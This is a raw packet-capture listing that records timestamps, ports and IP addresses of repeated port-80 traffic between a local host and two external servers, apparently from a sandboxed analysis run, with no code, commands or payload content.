Dec 17, 2024 08:03:42.279036045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.279855013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.279921055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.279962063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.280122042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.280955076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.281054974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.281090975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.282032013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.282099009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.282141924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.282185078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.283098936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.283164024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.283231020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.283276081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.284297943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.284364939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.284492970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.284584999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.285303116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.285372019 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.285383940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.285533905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.286346912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.286412954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.286446095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.286489964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.287497997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.287548065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.287590027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.287611961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.288583994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.288660049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.288708925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.289587021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.289655924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.289741039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.289793968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.290685892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.290796041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.290824890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.290838003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.291775942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.291876078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.291933060 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.292848110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.292954922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.293020964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.293958902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.294043064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.294090033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.295136929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.295195103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.295229912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.295274973 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.296077967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.296144009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.296185017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.296226025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.297158957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.297219038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.297259092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.297441959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.298357010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.298450947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.298481941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.298554897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.299352884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.299469948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.299556971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.300498962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.300556898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.300592899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.300636053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.301505089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.301573992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.301610947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.301832914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.302599907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.302659988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.302695036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.302819967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.303708076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.303764105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.303829908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.303868055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.304776907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.304842949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.440231085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.440362930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:44.713963032 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:44.714202881 CET	49915	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:44.834645987 CET	80	49915	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:44.834728956 CET	49915	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:44.834857941 CET	80	49894	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:44.834872007 CET	49915	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:44.834923029 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:44.954565048 CET	80	49915	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:46.181886911 CET	80	49915	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:46.181966066 CET	49915	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:46.183567047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:46.184143066 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:46.303708076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:46.303827047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:46.303916931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:46.303991079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:46.304148912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:46.423801899 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645324945 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645344019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645356894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645435095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645442963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645458937 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645473957 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645515919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645515919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645517111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645663977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645675898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645678997 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645697117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645704985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645714045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.645736933 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645736933 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.645762920 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.765244007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.765320063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.765330076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.765371084 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.769402027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.769447088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.837352991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.837413073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.837435007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.837476015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.841515064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.841563940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.841625929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.841675997 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.849937916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.849997044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.850060940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.850106001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.858326912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.858376980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.858436108 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.858910084 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.866720915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.866820097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.866878986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.875086069 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.875161886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.875164032 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.875220060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.883465052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.883610010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.883661032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.891856909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.891987085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.892044067 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.900271893 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.900365114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.900444984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.908684015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.908760071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.908811092 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:47.916546106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.916611910 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:47.916666031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.029263973 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.029361963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.029422045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.031635046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.031692028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.031774998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.031838894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.036396980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.036478996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.036485910 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.036534071 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.041094065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.041182995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.041203022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.041416883 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.045847893 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.045900106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.045964003 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.046005964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.050566912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.050638914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.050676107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.050806999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.055246115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.055377960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.055428028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.059912920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.059987068 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.060034037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.060084105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.064659119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.064699888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.064754963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.064857960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.069287062 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.069380999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.069438934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.073983908 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.074120045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.074177980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.078625917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.078723907 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.078773975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.083367109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.083491087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.083549023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.088103056 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.088156939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.088215113 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.092714071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.092777014 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.092814922 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.092860937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.097381115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.097449064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.097487926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.097647905 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.102119923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.102227926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.102292061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.106817007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.106883049 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.106942892 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.111455917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.111581087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.111639977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.116266012 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.116360903 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.116415024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.120819092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.123378038 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.221556902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.221618891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.221669912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.221714973 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.223572969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.223623991 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.223663092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.223709106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.227524996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.227577925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.227617979 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.227724075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.231439114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.231523037 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.231534004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.231659889 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.235272884 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.235327959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.235358953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.235404968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.239078999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.239140034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.239155054 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.239201069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.242597103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.242630005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.242647886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.242671967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.246153116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.246200085 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.246253014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.246299028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.249686956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.249749899 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.249759912 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.249799967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.253166914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.253216028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.253216982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.253371954 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.256654024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.256717920 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.256747961 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.256791115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.260215044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.260258913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.260297060 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.260339022 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.263638020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.263700962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.263739109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.263786077 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.267115116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.267164946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.267246008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.267292023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.270626068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.270726919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.270766020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.270808935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.274122000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.274168968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.274219036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.274261951 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.277591944 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.277641058 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.277664900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.277708054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.281102896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.281158924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.281198978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.281279087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.284574032 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.284625053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.284678936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.284722090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.288129091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.288177967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.288216114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.288259983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.291605949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.291656017 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.291667938 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.291727066 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.295137882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.295190096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.295257092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.295300961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.298727036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.298775911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.298904896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.298950911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.302095890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.302145958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.302203894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.302249908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.306638956 CET	80	49920	31.41.244.11	192.168.2.5
